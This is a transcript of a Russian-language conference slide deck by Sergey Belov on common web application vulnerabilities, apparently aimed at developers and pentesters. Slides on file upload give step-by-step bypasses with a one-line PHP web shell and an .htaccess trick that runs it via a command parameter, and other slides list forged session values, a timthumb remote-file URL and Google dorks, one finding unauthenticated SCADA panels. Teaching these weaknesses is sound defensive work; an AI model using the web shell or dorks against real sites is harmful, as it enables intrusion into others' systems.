Белов наиболее часто уязвимые места в веб приложениях

16
Наиболее часто уязвимые моменты при разработке веб- приложений Сергей Белов

Upload: qasib

Post on 24-Jun-2015

1.902 views

Category:

Documents


2 download

TRANSCRIPT

Page 1: Белов наиболее часто уязвимые места в веб приложениях

Наиболее часто уязвимые моменты при разработке веб-

приложений

Сергей Белов

Page 2: Белов наиболее часто уязвимые места в веб приложениях

Тестирование на проникновение

«Пентест» - оценка безопасности конечного узла или ресурса средствами и методами злоумышленников

Цель — оценить возможность проникновения в систему и оценить угрозы

Примерый план:- анализ целевой системы- попытка эксплуатации уязвимостей- рекомендации по устранению

Page 3: Белов наиболее часто уязвимые места в веб приложениях

OWASP Top Ten (2010 Edition)

A1: Injection

A2: Cross-Site Scripting

(XSS)

A3: Broken Authentication

and Session Management

A4: Insecure Direct Object References

A5: Cross Site Request Forgery (CSRF)

A6: Security Misconfigur

ation

A7: Failure to Restrict URL Access

A8: Insecure Cryptographic Storage

A9: Insufficient Transport

Layer Protection

A10: Unvalidated

Redirects and Forwards

http://www.owasp.org/index.php/Top_10

Page 4: Белов наиболее часто уязвимые места в веб приложениях

Debug = True

Full Path Disclosure -> LFI, SQL inj (file_priv)System info

Page 5: Белов наиболее часто уязвимые места в веб приложениях

Directory indexing

Options +IndexesOptions -Indexes

Page 6: Белов наиболее часто уязвимые места в веб приложениях

Only Client-Side validation

XSS, Injection... ?

Page 7: Белов наиболее часто уязвимые места в веб приложениях

File UploadСитуация №1:Разрешены:

.jpg .jpeg .gif

Steps to reproduce1. Создаем shell.txt с содержимым:

<?php echo @`$_GET[c]` ?>2. Переименовываем в shell.jpg3. Заливаем

В случае успеха можно использовать при LFI –> CCE

Page 8: Белов наиболее часто уязвимые места в веб приложениях

File UploadСитуация №2:Запрещены:

.php .php3 .pl и т.д.

Steps to reproduce1. Создаем .htaccess с содержимым

AddType application/x-httpd-php .gif2. Заливаем .htaccess3. Создаем shell.txt с содержимым:

<?php echo @`$_GET[c]` ?>4. Переименовываем в shell.gif5. Заливаем shell.gif6. Обращаемся к своему файлу shell.gif?c=uname –a

Получили custom comand execute

Page 9: Белов наиболее часто уязвимые места в веб приложениях

Broken Authentication and Session Management

1. Ставим firebug + firecookie2. Меняем данные в сессии

• login = adminuser• user_id = 1• is_admin = true• admin = true• user_level = 10+

Page 10: Белов наиболее часто уязвимые места в веб приложениях

Ajax

Page 11: Белов наиболее часто уязвимые места в веб приложениях

Embedded-content• Загрузка удаленных файлов/изображений • Установка аватар/логотипов с других доменов

Пример (Wordpress Plugin timthumb.php)

http://SERVER/WP_PATH/wp-content/plugins/category-grid-view-gallery/includes/timthumb.php?src=MALICIOUS_URL

Page 12: Белов наиболее часто уязвимые места в веб приложениях

Outdated modules

Проверка:

1. Берем название CMS2. Анализируем/узнаем список модулей (с версиями)3. Проверяем наличие публичных эксплойтов

(1337day.com, exploit-db.com)

http://www.exploit-db.com/searchhttp://1337day.com/search

Page 13: Белов наиболее часто уязвимые места в веб приложениях

Google DORK• site:site.com filetype:sql• site:site.com filetype:backup

• site:site.com inurl:/restore/

• Живой пример (управление SCADA без авторизации) inurl:/plc/webvisu.htm

(from ZeroNights)

http://googledork.com/

Page 14: Белов наиболее часто уязвимые места в веб приложениях
Page 15: Белов наиболее часто уязвимые места в веб приложениях

Live demo...

Page 16: Белов наиболее часто уязвимые места в веб приложениях

Вопросы?